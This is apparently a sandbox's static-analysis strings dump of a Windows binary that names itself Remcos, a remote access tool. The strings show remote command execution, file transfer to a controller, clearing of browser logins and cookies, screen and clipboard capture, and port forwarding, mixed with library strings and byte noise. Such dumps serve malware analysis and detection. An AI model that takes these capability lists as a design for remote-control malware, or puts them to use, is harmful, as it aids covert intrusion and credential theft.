Static | ZeroBOX

!This program cannot be run in DOS mode.

,M}h,X

`.rdata

@.data

.gfids

@.rsrc

@.reloc

WWVhn@

^x9^tv

tD;Ntr

jD^VSh

WWWhbYA

9{Lt:V

D$$PuI

L$(+\$

u 8_=t

Y<9X8t

u$Wj@h

P4+S4t

V,YYG;~

u"VVVV

SVWj j

WWWhbYA

VjxVVh

L$0hX|F

SVWj 3

SVWj@3

YSSSSSSSj

QQSVW3

DSVWj,3

t SSSj

SSSSSS

u0hHzF

tZ<*u=N

t$<.t:G

u2j$Xf

u j ^j

SVWjGZ

<0r"<9w

4V9~,

SVWj7^

SVWj7j

QQj7PQQ

PWWj Sj

t]j@^+

N`j8[;

v4j@X+

9E$WWV

t,WW9}

jA[jZZ+

QQSVWd

URPQQhp

;t$,v-

UQPXY]Y[

u0jAXf;

<xt"<Xt

PVSQSWV

SVjA[jZ^+

jAZjZ^

^$+^8+

t/j=[f;

QSSSSj

pLhDVF

tyPVj@T8

_tcPVj@

u#j,Xf;

PPPPPPPP

mSjA[jZ^+

8jZZf;

PPPPPWS

PP9E u:PPVWP

TVhh0E

x7;5 YF

Wj0XPV

<at<rt

>=umF8

D8(HXt:f

D8(Ht5F

WWWPWS

u-PWWP8

SSVWh

f9:t!V

|VWj=S

SSSSP8

}VWj=S

SSSSP8

tl9tX

35tYF

QQSWj0j@

xi;5 YF

xg;5 YF

<0|o<9

tl=xAF

u^9^\t/

VX9^`tT

;N\u\W

SSSSP8

u2Vj@h@;E

y;K\u

9C`u99C\t4

9C`u5Wj

HPh@;E

SVWjA_jZ+

uBjAYjZ+

PPPPPPPP

InitializeConditionVariable

SleepConditionVariableCS

WakeAllConditionVariable

bad allocation

bad array new length

invalid argument

invalid seek

io error

is a directory

message size

network down

network reset

network unreachable

no buffer space

no child process

no link

no lock available

no message available

no message

no protocol option

no space on device

no stream resources

no such device or address

no such device

no such file or directory

no such process

not a directory

not a socket

not a stream

not connected

not enough memory

not supported

operation canceled

operation in progress

operation not permitted

operation not supported

operation would block

owner dead

permission denied

protocol error

protocol not supported

read only file system

resource deadlock would occur

resource unavailable try again

result out of range

state not recoverable

stream timeout

text file busy

timed out

too many files open in system

too many files open

too many links

too many symbolic link levels

value too large

wrong protocol type

address family not supported

address in use

address not available

already connected

argument list too long

argument out of domain

bad address

bad file descriptor

bad message

broken pipe

connection aborted

connection already in progress

connection refused

connection reset

cross device link

destination address required

device or resource busy

directory not empty

executable format error

file exists

file too large

filename too long

function not supported

host unreachable

identifier removed

illegal byte sequence

inappropriate io control operation

interrupted

unknown error

FlsAlloc

FlsFree

FlsGetValue

FlsSetValue

InitializeCriticalSectionEx

InitOnceExecuteOnce

CreateEventExW

CreateSemaphoreW

CreateSemaphoreExW

CreateThreadpoolTimer

SetThreadpoolTimer

WaitForThreadpoolTimerCallbacks

CloseThreadpoolTimer

CreateThreadpoolWait

SetThreadpoolWait

CloseThreadpoolWait

FlushProcessWriteBuffers

FreeLibraryWhenCallbackReturns

GetCurrentProcessorNumber

CreateSymbolicLinkW

GetCurrentPackageId

GetTickCount64

GetFileInformationByHandleEx

SetFileInformationByHandle

GetSystemTimePreciseAsFileTime

WakeConditionVariable

InitializeSRWLock

AcquireSRWLockExclusive

TryAcquireSRWLockExclusive

ReleaseSRWLockExclusive

SleepConditionVariableSRW

CreateThreadpoolWork

SubmitThreadpoolWork

CloseThreadpoolWork

CompareStringEx

GetLocaleInfoEx

LCMapStringEx

0123456789abcdefghijklmnopqrstuvwxyz

bad exception

__based(

__cdecl

__pascal

__stdcall

__thiscall

__fastcall

__vectorcall

__clrcall

__eabi

__ptr64

__restrict

__unaligned

restrict(

delete

operator

`vftable'

`vbtable'

`vcall'

`typeof'

`local static guard'

`string'

`vbase destructor'

`vector deleting destructor'

`default constructor closure'

`scalar deleting destructor'

`vector constructor iterator'

`vector destructor iterator'

`vector vbase constructor iterator'

`virtual displacement map'

`eh vector constructor iterator'

`eh vector destructor iterator'

`eh vector vbase constructor iterator'

`copy constructor closure'

`udt returning'

`local vftable'

`local vftable constructor closure'

new[]

delete[]

`omni callsig'

`placement delete closure'

`placement delete[] closure'

`managed vector constructor iterator'

`managed vector destructor iterator'

`eh vector copy constructor iterator'

`eh vector vbase copy constructor iterator'

`dynamic initializer for '

`dynamic atexit destructor for '

`vector copy constructor iterator'

`vector vbase copy constructor iterator'

`managed vector copy constructor iterator'

`local static thread guard'

operator ""

Type Descriptor'

Base Class Descriptor at (

Base Class Array'

Class Hierarchy Descriptor'

Complete Object Locator'

`h````

xpxxxx

`h`hhh

xwpwpp

(null)

CorExitProcess

!"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}C

!"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\]^_`abcdefghijklmnopqrstuvwxyz{|}~

!"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~

[aOni*{

@b;zO]

v2!L.2

^<V7t8

Sunday

Monday

Tuesday

Wednesday

Thursday

Friday

Saturday

January

February

August

September

October

November

December

MM/dd/yy

dddd, MMMM dd, yyyy

HH:mm:ss

AreFileApisANSI

EnumSystemLocalesEx

GetUserDefaultLocaleName

IsValidLocaleName

LCIDToLocaleName

LocaleNameToLCID

NAN(SNAN)

nan(snan)

NAN(IND)

nan(ind)

UTF-16LEUNICODE

_hypot

_nextafter

1#QNAN

1#SNAN

]vQ<)8

|)P!?Ua0

Eb2]A=

xnp?z

u?^p?o4

y1~?|"

?x+s7

?5Od%

?|I7Z#

?g)([|X>=

~U`?K

:h"?bC

@H#?43

Ax#?uN}*

r7Yr7=

F0$?3=1

H`$?h|

&?~YK|

sU0&?W

<8bunz8

y?#%X.y

F||<##

<@En[vP

?5Wg4p

%S#[k=

"B <1=

Failed to initialize TLS

Failed to initialize TLS context

Failed to load TLS certificate

Failed to load TLS key

Failed to load peer certificate

TLS Handshake... |

TLS Error 1

TLS Error 2

TLS Authentication Failed

TLS Error 3

Connection Refused

Connection Failed:

KeepAlive | Enabled | Timeout:

KeepAlive | Disabled

Connection Timeout

string too long

invalid string position

DisplayMessage

GetMessage

CloseChat

invalid vector<T> subscript

cmd.exe

SystemDrive

ZipFiles

UnzipFiles

Browsing directory:

Executing file:

Downloading file:

Downloaded file:

Failed to download file:

Deleted file:

Unable to delete:

Unable to rename file!

Uploaded file:

Failed to upload file:

Uploading file to Controller:

SetFilePointerEx error

ReadFile error

\AppData\Local\Google\Chrome\User Data\Default\Login Data

UserProfile

[Chrome StoredLogins not found]

[Chrome StoredLogins found, cleared!]

\AppData\Local\Google\Chrome\User Data\Default\Cookies

[Chrome Cookies not found]

[Chrome Cookies found, cleared!]

\AppData\Roaming\Mozilla\Firefox\Profiles\

[Firefox StoredLogins not found]

\logins.json

\key3.db

[Firefox StoredLogins Cleared!]

[Firefox Cookies not found]

\cookies.sqlite

[Firefox cookies found, cleared!]

Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders

[IE cookies not found]

[IE cookies cleared!]

[Cleared browsers logins and cookies.]

Cleared browsers logins and cookies.

FunFunc

exepath

Unknown exception

bad cast

bad locale name

generic

iostream

iostream stream error

ios_base::badbit set

ios_base::failbit set

ios_base::eofbit set

license_code.txt

Software\

licence

Remcos Agent initialized

Access Level:

Administrator

override

5.1.1 Light

StartForward

StartReverse

StopForward

StopReverse

GetDirectListeningPort

finished

s ap traffic

s hs traffic

TLS 1.3, client CertificateVerify

traffic upd

derived

tls13

c ap traffic

c hs traffic

TLS 1.3, server CertificateVerify

='9-6d

_jbF~T

11#?*0

,4$8_@

t\lHBW

QPeA~S

>4$8,@

p\lHtW

+HpXhE

T[$:.6

=j&&LZ66lA??~

V22dN::t

o%%Jr..\$

&&Lj66lZ??~A

99rKJJ

==zGdd

""Df**T~

;22dV::tN

$$Hl\\

C77nYmm

%%Jo..\r

55j_WW

&Lj&6lZ6?~A?

"Df"*T~*

2dV2:tN:

x%Jo%.\r.

a5j_5W

ggV}++

Lj&&lZ66~A??

bS11*?

Xt,,4.

RRvM;;

MMfU33

PPxD<<%

Bc!! 0

Df""T~**;

dV22tN::

xxJo%%\r..8$

aaj_55

UUPx((

SHA256wECDSA

Unknown

?456789:;<=

!"#$%&'()*+,-./0123

lzNg},8S*:#

)U[/t|

SECP112R1

DB7C2ABF62E35E668076BEAD208B

DB7C2ABF62E35E668076BEAD2088

659EF8BA043916EEDE8911702B22

DB7C2ABF62E35E7628DFAC6561C5

9487239995A5EE76B55F9C2F098

A89CE5AF8724C0A23E0E0FF77500

SECP128R1

FFFFFFFDFFFFFFFFFFFFFFFFFFFFFFFF

FFFFFFFDFFFFFFFFFFFFFFFFFFFFFFFC

E87579C11079F43DD824993C2CEE5ED3

FFFFFFFE0000000075A30D1B9038A115

161FF7528B899B2D0C28607CA52C5B86

CF5AC8395BAFEB13C02DA292DDED7A83

SECP160R1

FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF7FFFFFFF

FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF7FFFFFFC

1C97BEFC54BD7A8B65ACF89F81D4D4ADC565FA45

100000000000000000001F4C8F927AED3CA752257

4A96B5688EF573284664698968C38BB913CBFC82

23A628553168947D59DCC912042351377AC5FB32

SECP192R1

FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEFFFFFFFFFFFFFFFF

FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEFFFFFFFFFFFFFFFC

64210519E59C80E70FA7E9AB72243049FEB8DEECC146B9B1

FFFFFFFFFFFFFFFFFFFFFFFF99DEF836146BC9B1B4D22831

188DA80EB03090F67CBF20EB43A18800F4FF0AFD82FF1012

7192B95FFC8DA78631011ED6B24CDD573F977A11E794811

SECP224R1

FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF000000000000000000000001

FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEFFFFFFFFFFFFFFFFFFFFFFFE

B4050A850C04B3ABF54132565044B0B7D7BFD8BA270B39432355FFB4

FFFFFFFFFFFFFFFFFFFFFFFFFFFF16A2E0B8F03E13DD29455C5C2A3D

B70E0CBD6BB4BF7F321390B94A03C1D356C21122343280D6115C1D21

BD376388B5F723FB4C22DFE6CD4375A05A07476444D5819985007E34

PRIME239V1

7FFFFFFFFFFFFFFFFFFFFFFF7FFFFFFFFFFF8000000000007FFFFFFFFFFF

7FFFFFFFFFFFFFFFFFFFFFFF7FFFFFFFFFFF8000000000007FFFFFFFFFFC

6B016C3BDCF18941D0D654921475CA71A9DB2FB27D1D37796185C2942C0A

7FFFFFFFFFFFFFFFFFFFFFFF7FFFFF9E5E9A9F5D9071FBD1522688909D0B

0FFA963CDCA8816CCC33B8642BEDF905C3D358573D3F27FBBD3B3CB9AAAF

7DEBE8E4E90A5DAE6E4054CA530BA04654B36818CE226B39FCCB7B02F1AE

SECP256R1

FFFFFFFF00000001000000000000000000000000FFFFFFFFFFFFFFFFFFFFFFFF

FFFFFFFF00000001000000000000000000000000FFFFFFFFFFFFFFFFFFFFFFFC

5AC635D8AA3A93E7B3EBBD55769886BC651D06B0CC53B0F63BCE3C3E27D2604B

FFFFFFFF00000000FFFFFFFFFFFFFFFFBCE6FAADA7179E84F3B9CAC2FC632551

6B17D1F2E12C4247F8BCE6E563A440F277037D812DEB33A0F4A13945D898C296

4FE342E2FE1A7F9B8EE7EB4A7C0F9E162BCE33576B315ECECBB6406837BF51F5

SECP384R1

FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEFFFFFFFF0000000000000000FFFFFFFF

FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEFFFFFFFF0000000000000000FFFFFFFC

B3312FA7E23EE7E4988E056BE3F82D19181D9C6EFE8141120314088F5013875AC656398D8A2ED19D2A85C8EDD3EC2AEF

FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFC7634D81F4372DDF581A0DB248B0A77AECEC196ACCC52973

AA87CA22BE8B05378EB1C71EF320AD746E1D3B628BA79B9859F741E082542A385502F25DBF55296C3A545E3872760AB7

3617DE4A96262C6F5D9E98BF9292DC29F8F41DBD289A147CE9DA3113B5F0B8C00A60B1CE1D7E819D7A431D7C90EA0E5F

SECP521R1

1FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF

1FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFC

51953EB9618E1C9A1F929A21A0B68540EEA2DA725B99B315F3B8B489918EF109E156193951EC7E937B1652C0BD3BB1BF073573DF883D2C34F1EF451FD46B503F00

1FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFA51868783BF2F966B7FCC0148F709A5D03BB5C9B8899C47AEBB6FB71E91386409

C6858E06B70404E9CD9E3ECB662395B4429C648139053FB521F828AF606B4D3DBAA14B5E77EFE75928FE1DC127A2FFA8DE3348B3C1856A429BF97E7E31C2E5BD66

11839296A789A3BC0045C8A5FB42C7D1BD998F54449579B446817AFBD17273E662C97EE72995EF42640C550B9013FAD0761353C7086A272C24088BE94769FD16650

[regsplt]

SHDeleteKeyW

Shlwapi.dll

getaddrinfo

getnameinfo

freeaddrinfo

\ws2_32

\wship6

TLS On

TLS Off

Connecting |

Connection Error:

Connection Error: Unable to create socket

Connected |

hlight

Disconnected

SetSuspendState

PowrProf.dll

SeShutdownPrivilege

vector<T

too long

GetCursorInfo

User32.dll

DISPLAY

alarm.wav

Alarm triggered

play audio

pause audio

resume audio

status audio mode

stopped

stop audio

close audio

GetLastInputInfo

ProductName

SOFTWARE\Microsoft\Windows NT\CurrentVersion

CurrentBuildNumber

(64 bit)

(32 bit)

SETTINGS

%02i:%02i:%02i:%03i

abcdefghijklmnopqrstuvwxyz

Software\Microsoft\Windows\CurrentVersion\Uninstall

WallpaperStyle

Control Panel\Desktop

TileWallpaper

GetProcessImageFileNameW

Kernel32

SetProcessDpiAwareness

shcore

user32

NtUnmapViewOfSection

GlobalMemoryStatusEx

kernel32

IsWow64Process

GetComputerNameExW

IsUserAnAdmin

Shell32

SetProcessDEPPolicy

EnumDisplayDevicesW

EnumDisplayMonitors

GetMonitorInfoW

GetSystemTimes

Shlwapi

GetConsoleWindow

NtSuspendProcess

NtResumeProcess

GetExtendedTcpTable

Iphlpapi

GetExtendedUdpTable

NtQueryInformationProcess

GetFinalPathNameByHandleW

RmStartSession

Rstrtmgr

RmRegisterResources

RmGetList

RmEndSession

CONOUT$

______

(_____ \

_____) )_____ ____ ____ ___ ___

| __ /| ___ | \ / ___) _ \ /___)

| | \ \| ____| | | ( (__| |_| |___ |

|_| |_|_____)_|_|_|\____)___/(___/

Remcos v

BreakingSecurity.net

Remcos

MsgWindowClass

TLS13-AES128-GCM-SHA256

/serialNumber=

/emailAddress=

-----BEGIN CERTIFICATE-----

-----END CERTIFICATE-----

-----BEGIN DH PARAMETERS-----

-----END DH PARAMETERS-----

-----BEGIN X509 CRL-----

-----END X509 CRL-----

-----BEGIN RSA PRIVATE KEY-----

-----END RSA PRIVATE KEY-----

-----BEGIN PRIVATE KEY-----

-----END PRIVATE KEY-----

-----BEGIN ENCRYPTED PRIVATE KEY-----

-----END ENCRYPTED PRIVATE KEY-----

-----BEGIN EC PRIVATE KEY-----

-----END EC PRIVATE KEY-----

-----BEGIN DSA PRIVATE KEY-----

-----END DSA PRIVATE KEY-----

-----BEGIN PUBLIC KEY-----

-----END PUBLIC KEY-----

0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ abcdefghijklmnopqrstuvwxyz+/

UUUUUU

?UUUUUU

?333333

?Dj0Q:W$=

5s3R6=

.text$di

.text$mn

.text$x

.text$yd

.idata$5

.00cfg

.CRT$XCA

.CRT$XCAA

.CRT$XCC

.CRT$XCL

.CRT$XCU

.CRT$XCZ

.CRT$XIA

.CRT$XIAA

.CRT$XIAC

.CRT$XIC

.CRT$XIZ

.CRT$XLA

.CRT$XLZ

.CRT$XPA

.CRT$XPX

.CRT$XPXA

.CRT$XPZ

.CRT$XTA

.CRT$XTZ

.rdata

.rdata$T

.rdata$r

.rdata$sxdata

.rdata$zzzdbg

.rtc$IAA

.rtc$IZZ

.rtc$TAA

.rtc$TZZ

.xdata$x

.idata$2

.idata$3

.idata$4

.idata$6

.data$r

.tls$ZZZ

.gfids$x

.gfids$y

.rsrc$01

.rsrc$02

WaitForSingleObject

CreateEventW

SetEvent

CloseHandle

CreateThread

GetLocalTime

CreateEventA

HeapCreate

HeapFree

ReadFile

WriteFile

TerminateProcess

CreatePipe

PeekNamedPipe

CreateProcessA

CreateDirectoryW

FindFirstFileW

GetFileSizeEx

FindNextFileW

GetDriveTypeA

lstrlenA

FindClose

CreateFileW

GetFileAttributesW

SetFileAttributesW

DeleteFileA

DeleteFileW

GetLogicalDriveStringsA

SetFilePointerEx

MoveFileW

FindFirstFileA

FindNextFileA

ExpandEnvironmentStringsA

GetLastError

GetLongPathNameW

GetModuleFileNameW

CreateMutexA

ExitProcess

GetLocaleInfoA

CreateToolhelp32Snapshot

Process32NextW

Process32FirstW

VirtualProtect

SetLastError

VirtualFree

VirtualAlloc

LoadLibraryA

GetNativeSystemInfo

HeapAlloc

GetProcAddress

GetProcessHeap

FreeLibrary

IsBadReadPtr

GetCurrentProcess

GetSystemDirectoryA

GlobalAlloc

GlobalLock

GetCurrentProcessId

GetTickCount

GlobalUnlock

LocalAlloc

GetModuleHandleA

GlobalFree

MulDiv

SizeofResource

QueryDosDeviceW

FindFirstVolumeW

GetConsoleScreenBufferInfo

SetConsoleTextAttribute

lstrlenW

GetStdHandle

RemoveDirectoryW

FindResourceA

OpenProcess

lstrcatW

LockResource

LoadResource

LocalFree

GetFileSize

FindVolumeClose

GetVolumePathNamesForVolumeNameW

lstrcpyW

SetConsoleOutputCP

FormatMessageA

FindNextVolumeW

AllocConsole

lstrcmpW

GetModuleFileNameA

lstrcpynA

QueryPerformanceFrequency

QueryPerformanceCounter

EnterCriticalSection

LeaveCriticalSection

InitializeCriticalSection

DeleteCriticalSection

KERNEL32.dll

TranslateMessage

DispatchMessageA

GetMessageA

GetWindowTextW

SetForegroundWindow

SetClipboardData

GetClipboardData

EnumWindows

ExitWindowsEx

EmptyClipboard

CloseClipboard

OpenClipboard

ShowWindow

SetWindowTextW

MessageBoxW

IsWindowVisible

CloseWindow

GetWindowThreadProcessId

SendInput

EnumDisplaySettingsW

mouse_event

MapVirtualKeyA

DrawIcon

GetSystemMetrics

GetIconInfo

SystemParametersInfoW

GetForegroundWindow

GetCursorPos

RegisterClassExA

AppendMenuA

CreateWindowExA

DefWindowProcA

TrackPopupMenu

CreatePopupMenu

USER32.dll

GetObjectA

CreateDCA

DeleteObject

DeleteDC

GetDIBits

StretchBlt

CreateCompatibleDC

SelectObject

CreateCompatibleBitmap

BitBlt

GDI32.dll

RegDeleteKeyA

RegQueryValueExW

RegEnumValueW

RegDeleteValueW

RegCreateKeyW

RegOpenKeyExW

RegOpenKeyExA

RegSetValueExA

RegSetValueExW

RegEnumKeyExW

RegCreateKeyExW

RegQueryValueExA

RegQueryInfoKeyW

RegCloseKey

RegCreateKeyA

OpenProcessToken

LookupPrivilegeValueA

AdjustTokenPrivileges

EnumServicesStatusW

OpenServiceW

ChangeServiceConfigW

QueryServiceConfigW

StartServiceW

ControlService

OpenSCManagerA

OpenSCManagerW

CloseServiceHandle

QueryServiceStatus

RegEnumKeyExA

GetUserNameW

CryptReleaseContext

CryptGenRandom

CryptAcquireContextA

ADVAPI32.dll

ShellExecuteW

ShellExecuteExA

Shell_NotifyIconA

ExtractIconA

SHELL32.dll

StrToIntA

PathFileExistsA

PathFileExistsW

SHLWAPI.dll

mciSendStringW

mciSendStringA

PlaySoundW

WINMM.dll

WS2_32.dll

URLDownloadToFileW

URLOpenBlockingStreamW

urlmon.dll

GdipLoadImageFromStream

GdipSaveImageToStream

GdipGetImageEncodersSize

GdipFree

GdipDisposeImage

GdipAlloc

GdipCloneImage

GdipGetImageEncoders

GdiplusStartup

gdiplus.dll

InternetOpenUrlW

InternetOpenW

InternetCloseHandle

InternetReadFile

WININET.dll

ResetEvent

WaitForSingleObjectEx

GetModuleHandleW

IsProcessorFeaturePresent

IsDebuggerPresent

UnhandledExceptionFilter

SetUnhandledExceptionFilter

GetStartupInfoW

GetCurrentThreadId

GetSystemTimeAsFileTime

InitializeSListHead

WideCharToMultiByte

EncodePointer

DecodePointer

MultiByteToWideChar

InitializeCriticalSectionAndSpinCount

TlsAlloc

TlsGetValue

TlsSetValue

TlsFree

CompareStringW

LCMapStringW

GetLocaleInfoW

GetStringTypeW

GetCPInfo

LoadLibraryExW

RaiseException

RtlUnwind

MoveFileExW

GetModuleHandleExW

GetACP

HeapReAlloc

IsValidLocale

GetUserDefaultLCID

EnumSystemLocalesW

GetFileType

FlushFileBuffers

GetConsoleCP

GetConsoleMode

ReadConsoleW

FindFirstFileExA

IsValidCodePage

GetOEMCP

GetCommandLineA

GetCommandLineW

GetEnvironmentStringsW

FreeEnvironmentStringsW

SetEnvironmentVariableA

SetEnvironmentVariableW

SetStdHandle

WriteConsoleW

HeapSize

SetEndOfFile

abcdefghijklmnopqrstuvwxyz

ABCDEFGHIJKLMNOPQRSTUVWXYZ

abcdefghijklmnopqrstuvwxyz

ABCDEFGHIJKLMNOPQRSTUVWXYZ

.?AVtype_info@@

.?AVbad_alloc@std@@

.?AVbad_array_new_length@std@@

.?AVlogic_error@std@@

.?AVlength_error@std@@

.?AVout_of_range@std@@

.?AV_Facet_base@std@@

.?AV_Locimp@locale@std@@

.?AVfacet@locale@std@@

.?AU_Crt_new_delete@std@@

.?AVcodecvt_base@std@@

.?AUctype_base@std@@

.?AV?$ctype@D@std@@

.?AV?$codecvt@DDU_Mbstatet@@@std@@

.?AVbad_exception@std@@

.?AVfailure@ios_base@std@@

.?AVruntime_error@std@@

.?AVsystem_error@std@@

.?AVbad_cast@std@@

.?AV_System_error@std@@

.?AVexception@std@@

33333333tQQ

33333333

A'uAIqY

PAPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGX

0#0/090E0O0]0g0u0

1"1,181B1N1X1d1n1z1

2#2-292C2Q2[2i2s2

3)333A3K3W3a3m3w3

6*6:6d6u6

7(7K7[7C

78.8H8V8i8

<[<j<s<

?&???K?V?_?

3;4G4L4X4]4l4t4z4

8 ;/;;;C;M;Y;d;q;~;

<$<4<9<

<R<`<h<r<w<|<

=.=4=X=^=

{0i1Z2m2

5 6G6Z6

;L;S;b;l;

>!?0?Z0

R0Z0i0~0

2.2L2^2q2

606B6u6

;(;k;|;

=4=N=l=

4&454Q4

3$4:4Q4p4

?!?-?W?\?

0E0_0y0

2#2Y2s2

3[3e3y3

4-4Y4f4

6$6)6=6O6V6[6a6

8<8X8^8

9#:0:5:G:M:

;2;E;K;d;k;

y;3<?<

1 1'161`1s1

1&2Y2_2

x6.7;7

>4?C?U?

0!1<1Y1

3@3P3[3u3

4<4A4l4q4

8!8C8b8

5)565<5D5M5`5

;-;;;L;Z;

0!0Y0v0

1:1@1v1

2;2F2o2

2 3;3F3d3

3$4T4h4

6696h6

; <F<K<Q<X<a<

1o1'4c4l4

8*818\8y8

9$9*9Z9

;D<T<Y<

=+=8=P=p=v=

8$8)808S8^8

:W:d:l:r:

=;=D=z=

173\3s08

44%4m4

66#6'6+6/63676;6?6C6G6K6O6S6W6[6_6c6g6k6o6s6w6{6

=4=;=F=M=l=r=x

7[7e7y7

='=-=3=N=V=b=

8:8L8Z8

;@<I>l

?5?K?~0

0&0N0X0

0%1H1v1

2>2U2b2q2|2

3B3V3c3r3{3

4V4_4d4x4

5-5G5U5n5

5E6Q6\6k6p7

8 8%868H8W8g8q8y8

:?:I:P:

1121@1L1

3E3V3p3w3X4e4l4

6.6`6x6

y6#7[7

939@9h9{9

; ;5;J;\;n;

? ?*?/?4?>?G?L?V?[?`?j?o?y?~0

0 0*0/040>0C0H0R0W0\0f0k0p0z0

13191@1L1[1`1s1

:,:C:b:}:

;!;-;3;=;C;I;O;\;d;l;r;w;~;

Q<Y<_<e<s<y<

?:?Z?c?

0P0Y0i0t0z0

;g=k=o=s=w={=

X0b0n0x0

1 1-1V1`1l1y1

2(252P2W2d2n2

33/393c3x3

4+4:4R4t4

4D5Y5j5~5

6*6@6N6[6

6%747J7X7e7

8*8@8N8[8

9%9,9:9A9M9T9d9v9~9

:%:-:4:?:F:R:Y:

(898U8s8z8

9G9N9U9a9h9

:+:::V:`:j:|:

3+3=3H3S3^3p3{4

/171T1j1

=$=0=@=Q=w=

?%?1?@?E?N?j?}?

0%0+010<0D0N0`0f0l0r0x0

2S3k3q3

455>5K5V5_5n5

5M6l6v6

8$8K8q8z8

9.949:9@9F9L9S9Z9a9h9o9v9}9

:5:;:A:G:M:S:Z:a:h:o:v:}:

;7;R;q;

<*<T<m<u<

=V=k={=

2*262=2

535P5a5g5m5t5

8$8*8/858;8A8F8L8R8X8]8c8i8o8t8z8

9!9'9,92989

9C9I9O9U9Z9`9f9l9q9w9}9

:$:):/:5:;:@:F:L:R:W:]:c:i:n:t:z:

;!;&;,;2;8;=;K;Q;s;

??$?(?,?0?

:*:L:\:a:f:

;;;G;L;Q;

2'2E2S2

484?4D4H4L4P4

<!<%<)<-<1<5<9<=<B<T<Y<i<

=%=3=N=_=k=

102B2r2

9<9]9Y:x:}:1;

<,=1=8=\=}=

3?G?P?

?,?L?^?

1!1%1)1-1115191

1E2I2M2Q2U2Y2]2a2

2a3e3i3m3q3u3y3}3

67<H=x=

5C6U6q6

6 868m8

9&9+9<9

:":*:4:=:N:`:{:

:;;E;K;Q;

2E2`2z2

767E7J7[7a7l7t7

8%8-8E8j8{8

93:G:c:

<O<Z<d<s<{<

="=6=B=

<@<I<Q<n<

=4=;=F=T=[=a=|=

3f5p5z5

6!6V6g6

7(7J7[7j7f9z:

?r?w?|?

030L0[0g0u0

0+1O1l1w1|1

2C2^2h2

333>3C3H3l3

4&484Z4e4j4o4

55*5/545X5

6!6&6D6s6C

7,7>7J7

90:g:y:

:,;<;T;

6o7w7f9n9

:4:J:W:\:j:

>B?V?s?

1!202n2

;2<Y<b=

2+202;2O2Z2q2

6L6X6l6

;R</=6=@=O=s=

?U?b?o?|?

171e1}3

4B4I4`4v4

535F5P5q5

5)6?6z6

6)7;7M7_7q7

<&<b<'

6'7=7^7

8>(?]?

2*3{3;405z5l6

8b:m:}:

:&;8;J;-<c<k<

= =+=3=Q=]=s=|=

141X1a1l1

=%=5=F=

\0h0w0

7p7C?K?

;V;b;n;z;

?#?0?B?

'0<0E0N0

3@4j4r4

88%81;N;

313=3I3

4)525=5x5

7V7b7z7

?B?J?W?

1(131@1

1)252I2U2a2

4%4@4c4

5#525<5F5P5Z5d5n5x5

6'616;6E6O6Y6c6m6w6

\4d4h4l4p4t4x4|4

5 5$5(54585<5@5D5H5L5P5d5h5l5

6 6$6(6D6H6L6P6T6X6\6`6d6h6l6p6t6x6|6

?$?,?4?<?D?L?T?\?d?l?t?|?

P2T2X2\2`2d2h2l2p2t2x2|2

7$7,747<7D7L7T7\7d7l7t7|7

8$8,848<8D8L8T8\8d8l8t8|8

9$9,949<9D9L9T9\9d9l9t9|9

:$:,:4:<:D:L:T:\:d:l:t:|:

;$;,;4;<;D;L;T;\;d;l;t;|;

<$<,<4<<<D<L<T<\<d<l<t<|<

=$=,=4=<=D=L=T=\=d=l=t=|=

? ?(?0?8?@?H?P?X?`?h?p?x?

0 0(00080@0H0P0X0`0h0p0x0

1 1(10181@1H1P1X1`1h1p1x1

2 2(20282@2H2P2X2`2h2p2x2

3 3(30383@3H3P3X3`3h3p3x3

4 4(40484@4H4P4X4`4h4p4x4

7p8t8x8|8

9 9$9(9,9094989<9@9D9H9L9P9T9X9\9`9d9h9l9p9t9x9|9

3 3$3(3,3034383D3L3P3T3X3\3`3h3l3p3t3x3|3

: :$:(:,:0:4:8:<:@:D:H:L:P:T:X:\:`:d:h:l:p:t:x:|:

; ;$;(;,;0;4;8;<;@;D;H;L;P;T;X;\;`;h;l;p;t;x;|;

1@;L;X;d;p;|;

<$<0<<<H<T<`<l<x<

= =,=8=D=P=\=h=t=

?(?4?@?L?X?

40<0D0L0T0\0d0l0t0|0

2$3,343<3D3L3T3\3d3l3t3|3

4$4,444<4D4L4T4\4d4l4t4|4

5$5,545<5D5L5T5\5d5l5t5|5

6$6,646<6D6L6T6\6d6l6t6|6

7$7,747<7D7L7T7\7d7l7t7|7

8$8,848<8D8L8T8\8d8l8t8|8

9$9,949<9D9L9T9\9d9l9t9|9

:$:,:4:<:@:H:P:X:`:h:p:x:

; ;(;0;8;@;H;P;X;`;h;p;x;

< <(<0<8<@<H<P<X<`<h<p<x<

= =(=0=8=@=H=P=X=`=h=p=x=

? ?(?0?8?@?H?P?X?`?h?p?x0

0 0(00080@0H0P0X0`0h0p0x0

1 1(10181@1H1P1X1

